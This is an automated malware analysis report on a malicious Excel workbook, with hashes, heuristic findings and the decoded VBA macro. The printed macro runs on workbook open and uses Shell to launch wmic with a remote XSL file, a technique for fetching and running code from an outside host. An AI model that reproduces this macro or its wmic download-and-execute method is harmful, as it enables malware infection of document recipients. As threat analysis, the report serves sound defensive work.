Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 05ca5e77e5ff90a9…

MALICIOUS

Office (OOXML)

3.9 KB First seen: 2020-11-12
MD5: 31df24087ab2ef4ef53fc1206493b734 SHA-1: 6c01a667d979c178c513ea1788ec4c021bc2e785 SHA-256: 05ca5e77e5ff90a92d1ae0f0e1a2210cf634ac0e1f4a2209491758bcc2418117
90 Risk Score

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    TaskID = Shell(Program, 1)
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.72.128:8083/i6JvX.xsl In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 952 bytes
SHA-256: 3d994e382aeba50928bb62be9833da36dcbd2cd30df2171109f3a48c76475561
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'VBA code protection using: www.excel-pratique.com/en/vba_tricks/vba-obfuscator
Private Sub Workbook_Open()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program ="wmic os get /FORMAT:""http://192.168.72.128:8083/i6JvX.xsl"""
TaskID = Shell(Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: e6854717844723f19d125a426ef91825274da905a36d9fd08beeeadcaf8cbbb6

Open this report in the interactive analyzer, or submit your own file for analysis.